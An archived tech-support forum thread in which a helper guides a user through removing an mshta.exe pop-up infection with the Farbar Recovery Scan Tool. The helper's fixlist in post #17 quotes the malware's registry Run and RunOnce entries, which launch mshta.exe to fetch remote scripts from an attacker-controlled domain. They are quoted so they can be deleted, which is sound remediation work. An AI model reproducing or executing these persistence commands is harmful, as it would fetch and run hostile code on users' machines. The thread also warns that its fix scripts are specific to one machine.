What the Tech?! Free tech support Archive
This is a read-only archive. No new posts or registrations. Privacy Page
Spyware / Malware / Virus Removal

mshta.exe virus! can you help pls TB-Psychotic or anyone? [Solved

19 min read

This thread's last reply is from . Advice, software, and links below may be out of date — treat specific steps and download links with caution.

Looking for the outcome? Ask AI

Post #17

Hi,

 

Sorry for the late reply but I was offline last night until just now

 

Let me ask you about IOBIT, its not the best of programs , your choice to uninstall it, let me know if you do.

 

 

Open notepad. Please copy the contents of the quote box below. To do this highlight the contents of the box and right click on it and select copy. 
Open Notepad and paste this in
Start
HKU\S-1-5-21-2615214989-2497064625-3642582449-1000\…\Run: [SystemBooteHQ088Vh8yxWhinGduq9jR1yJP8FDAh2] => mshta.exe http://fci.fokbumei.org/reg2.php?cccid=eHQ088Vh8yxWhinGduq9jR1yJP8FDAh2&log=1
HKU\S-1-5-21-2615214989-2497064625-3642582449-1000\…\Run: [RegWriteeHQ088Vh8yxWhinGduq9jR1yJP8FDAh2] => mshta.exe http://fci.fokbumei.org/set_inf2.php?cccid=eHQ088Vh8yxWhinGduq9jR1yJP8FDAh2
HKU\S-1-5-21-2615214989-2497064625-3642582449-1000\…\RunOnce: [RegWriteeHQ088Vh8yxWhinGduq9jR1yJP8FDAh2] - mshta.exe http://fci.fokbumei.org/set_inf2.php?cccid=eHQ088Vh8yxWhinGduq9jR1yJP8FDAh2
S2 SBAMSvc; "C:\Program Files (x86)\SparkTrust\SparkTrust AntiVirus\SBAMSvc.exe" [X]
S2 System guard; "C:\Program Files (x86)\KeyDownload\KeyPlayr\guardnot.exe" [X]
End
 

 

 
Save it to the Desktop as fixlist.txt
NOTE. It's important that both files, FRST/FRST64 and fixlist.txt are in the same location or the fix will not work.
It needs to be saved Next to the "Farbar Recovery Scan Tool" (FRST) program (If asked to overwrite existing one please allow) Post the log from the fix please , let me know if the Japanese adds are gone, let me know about IObit , run a new scan with FRST and post that log please
Post #18

hi  thanks for reply

 

no worries about the delay.  i can wait as long as it takes

 

oibit is no longer on my computer.   

 

to confirm

 

copy and paste what you have quoted into a notepad and saveas to desktop named as fixlist.txt.  - once on desktop the name only shows as fixlist

 

frst64 is the program - this is on my desktop

 

frst is in notepad form on the desktop

 

i will now run scan

 

 

Post #23

My bad, we have 100s of tools at our disposal for removing malware that I have been using for years, FRST is fairly new and my instructions for the fix was not correct

 

Look on your desktop for the fixlist.txt file you created and delete it, You should still have FRST/64 on your desktop

 

Download attached fixlist.txt file and save it to the Desktop.
 
NOTE. It's important that both files, FRST/FRST64 and fixlist.txt are in the same location or the fix will not work.
 
NOTICE: This script was written specifically for this user, for use on that particular machine. Running this on another machine may cause damage to your operating system
 
Run FRST/FRST64 and press the Fix button just once and wait.
If for some reason the tool needs a restart, please make sure you let the system restart normally. After that let the tool complete its run.
When finished FRST will generate a log on the Desktop (Fixlog.txt). Please post it to your reply.

 

 

 

Attachments:

Post #24

hi Ken

 

thanks for your latest reply.  I will try that.  I wont be around now until sunday, apologies.    I will post here on sunday

 

thank you

 

 

Post #26

The tool has been upgraded so we can do more with it, what I would like you to do is if you have downloaded the attached fixlist in my previous post to your desktop then delete it and I created a new one for you to use

 

Download attached fixlist.txt file and save it to the Desktop.
 
NOTE. It's important that both files, FRST/FRST64 and fixlist.txt are in the same location or the fix will not work.
 
NOTICE: This script was written specifically for this user, for use on that particular machine. Running this on another machine may cause damage to your operating system
 
Run FRST/FRST64 and press the Fix button just once and wait.
If for some reason the tool needs a restart, please make sure you let the system restart normally. After that let the tool complete its run.
When finished FRST will generate a log on the Desktop (Fixlog.txt). Please post it to your reply.
 
 
 

 

Attachments:

Post #27 last edited

hi thanks for reply.    I downloaded  your file,  but ermm sorry not sure if I first downloaded the 1st reply or 2nd.   anyway, I have attached both fix logs.    ( I downloaded both attachments and have posted both replies )

 

fixlog  2 shows something has been  deleted.  I will reboot

Attachments:

Post #28

sadly it is still there.   I am surprised this pop up is so malicious.  why do they make these pop ups like this - they are so annoying.

Ask AI

AI can make mistakes. Check the cited posts. Archived advice can be out-of-date

Don't include personal information. Questions and selected public posts go to OpenAI. About Ask AI